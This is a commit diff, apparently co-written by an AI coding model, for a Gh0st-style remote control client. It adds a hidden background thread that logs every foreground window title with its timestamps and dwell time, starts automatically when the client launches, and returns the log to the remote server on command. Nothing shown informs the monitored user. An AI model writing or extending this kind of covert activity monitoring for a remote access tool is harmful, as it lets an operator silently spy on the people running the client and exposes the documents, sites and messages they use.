Feature: Add client activity history recording and display

Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro

client/ActivityHistory.cpp

@@ -0,0 +1,126 @@
+// ActivityHistory.cpp: 客户端历史活动记录采集模块
+
+#include "stdafx.h"
+#include "ActivityHistory.h"
+#include "KernelManager.h"   // ActivityWindow
+
+ActivityHistory& ActivityHistory::Instance()
+{
+    static ActivityHistory inst;
+    return inst;
+}
+
+void ActivityHistory::Start()
+{
+    if (m_started.exchange(true))
+        return;
+    m_running = true;
+    m_thread = std::thread(&ActivityHistory::Loop, this);
+}
+
+void ActivityHistory::Stop()
+{
+    m_running = false;
+    if (m_thread.joinable())
+        m_thread.join();
+}
+
+std::string ActivityHistory::Dump() const
+{
+    std::lock_guard<std::mutex> lock(m_mutex);
+    std::string out;
+    // 当前进行中的窗口：若已持续达到阈值，作为最新一条返回
+    if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
+        out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
+    for (const auto& r : m_records)
+        out += r + "\n";
+    return out;
+}
+
+void ActivityHistory::Loop()
+{
+    // 空闲打断阈值：远大于 ACTIVITY_MIN_DWELL_SEC，避免“停在一个窗口上看几秒”被过早结账。
+    const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
+
+    ActivityWindow aw;
+    HWND lastHwnd = NULL;
+    std::string lastTitle;
+    std::string startTime;
+    int dwellSec = 0;
+
+    while (m_running) {
+        // 取前台窗口句柄 + 标题；空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
+        HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
+        std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
+
+        {
+            std::lock_guard<std::mutex> lock(m_mutex);
+
+            if (hwnd == NULL || title.empty()) {
+                // 空闲/锁定/无标题：结账上一个窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = NULL;
+                lastTitle.clear();
+                dwellSec = 0;
+            } else if (hwnd == lastHwnd) {
+                // 同一窗口：即使标题动态变化也连续累计，标题取最新值
+                ++dwellSec;
+                lastTitle = title;
+            } else {
+                // 窗口切换：结账上一个，开始累计新窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = hwnd;
+                lastTitle = title;
+                startTime = NowStr();
+                dwellSec = 1;
+            }
+
+            while (m_records.size() > ACTIVITY_HISTORY_MAX)
+                m_records.pop_back();
+
+            m_curTitle = lastTitle;
+            m_curStartTime = startTime;
+            m_curDwellSec = dwellSec;
+        }
+
+        Sleep(1000);
+    }
+}
+
+std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
+{
+    // 标题里的换行会破坏“每行一条”，做最小清洗
+    std::string t;
+    t.reserve(title.size());
+    for (char c : title) {
+        if (c == '\r' || c == '\n') c = ' ';
+        t += c;
+    }
+    return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
+}
+
+std::string ActivityHistory::FormatDuration(int sec)
+{
+    if (sec < 0) sec = 0;
+    if (sec < 60)
+        return std::to_string(sec) + "s";
+    if (sec < 3600) {
+        int m = sec / 60, s = sec % 60;
+        return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
+                 : std::to_string(m) + "m";
+    }
+    int h = sec / 3600, m = (sec % 3600) / 60;
+    return std::to_string(h) + "h" + std::to_string(m) + "m";
+}
+
+std::string ActivityHistory::NowStr()
+{
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char buf[32];
+    sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
+              st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
+    return buf;
+}

client/ActivityHistory.h

@@ -0,0 +1,54 @@
+#pragma once
+#include <string>
+#include <deque>
+#include <mutex>
+#include <thread>
+#include <atomic>
+
+// 历史活动记录：
+//  每条格式：[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
+//  倒序存储（最新在前）。后台线程每 1 秒采样一次前台窗口。
+#define ACTIVITY_MIN_DWELL_SEC  5    // 一闪而过阈值（秒）：驻留低于此值不记录
+#define ACTIVITY_IDLE_BREAK_SEC 300  // 空闲打断阈值（秒）：空闲超过此值才结账当前窗口
+                                     // 注意：与心跳“活动窗口”列的 6s 判定不同，这里要远大于 MIN_DWELL，
+                                     // 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
+#define ACTIVITY_HISTORY_MAX    500  // 内存保留的最大记录条数
+
+class ActivityHistory
+{
+public:
+    static ActivityHistory& Instance();
+
+    // 启动常驻采样线程（幂等，重复调用无副作用）
+    void Start();
+    // 停止采样线程
+    void Stop();
+
+    // 返回全部历史记录（最新在前，多行文本，每行一条）
+    std::string Dump() const;
+
+private:
+    ActivityHistory() = default;
+    ~ActivityHistory() { Stop(); }
+    ActivityHistory(const ActivityHistory&) = delete;
+    ActivityHistory& operator=(const ActivityHistory&) = delete;
+
+    void Loop();
+
+    // 拼一条记录字符串
+    static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
+    // 时长格式化：Ns / Nm / NmNs / NhNm
+    static std::string FormatDuration(int sec);
+    // 当前时间戳 "YYYY-MM-DD HH:MM:SS"
+    static std::string NowStr();
+
+    mutable std::mutex m_mutex;
+    std::deque<std::string> m_records;   // 已完成记录，最新在前
+    std::string m_curTitle;              // 当前进行中的窗口标题
+    std::string m_curStartTime;          // 当前窗口的起始时间
+    int         m_curDwellSec = 0;       // 当前窗口已连续活跃秒数
+
+    std::atomic<bool> m_running{ false };
+    std::atomic<bool> m_started{ false };
+    std::thread m_thread;
+};

client/ClientDll.cpp

@@ -3,6 +3,7 @@
 
 #include "stdafx.h"
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include <common/iniFile.h>
 #include <common/LANChecker.h>
 #include <common/VerifyV2.h>
@@ -588,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
     std::string ip = settings.ServerIP();
     int port = settings.ServerPort();
     Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
+    ActivityHistory::Instance().Start();
     if (!app.m_bShared) {
         auto now = time(0);
         valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());

client/ClientDll_vs2015.vcxproj

@@ -178,6 +178,7 @@
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="CaptureVideo.cpp" />
     <ClCompile Include="clang_rt_compat.c" />
     <ClCompile Include="ClientDll.cpp" />
@@ -225,6 +226,7 @@
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
     <ClInclude Include="Audio.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="Buffer.h" />
     <ClInclude Include="CaptureVideo.h" />

client/KernelManager.cpp

@@ -10,6 +10,7 @@
 #include <fstream>
 #include <corecrt_io.h>
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include "MemoryModule.h"
 #include "common/dllRunner.h"
 #include "server/2015Remote/pwd_gen.h"
@@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
         break;
     }
+    case COMMAND_QUERY_ACTIVITY: {
+        // 主连接一次性快照：直接 dump 历史活动并回传
+        std::string text = ActivityHistory::Instance().Dump();
+        std::vector<BYTE> pkt(1 + text.size());
+        pkt[0] = TOKEN_REPORT_ACTIVITY;
+        if (!text.empty())
+            memcpy(pkt.data() + 1, text.data(), text.size());
+        m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
+        break;
+    }
     case CMD_SET_GROUP: {
         std::string group = std::string((char*)szBuffer + 1);
         m_cfg->SetStr("settings", "group_name", group);

client/KernelManager.h

@@ -40,6 +40,24 @@ public:
         return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
     }
 
+    // 返回当前活跃窗口标题；若空闲（idle ≥ threshold_ms）或取不到标题则返回空串。
+    // 供历史活动采集使用，避免“判定活跃”与“取标题”之间的竞态窗口。
+    std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return std::string();
+        return GetActiveWindowTitle();
+    }
+
+    // 返回当前前台窗口句柄；空闲（idle ≥ threshold_ms）返回 NULL。
+    // 历史活动按窗口（HWND）而非标题字符串累计：标题动态变化时不会反复归零。
+    HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return NULL;
+        return GetForegroundWindow();
+    }
+
 private:
     std::string FormatMilliseconds(DWORD ms)
     {

client/ghost_vs2015.vcxproj

@@ -185,6 +185,7 @@
     <ClCompile Include="..\common\ikcp.c" />
     <ClCompile Include="..\common\zstd_wrapper.c" />
     <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
@@ -234,6 +235,7 @@
     <ClInclude Include="..\common\wallet.h" />
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="Audio.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="auto_start.h" />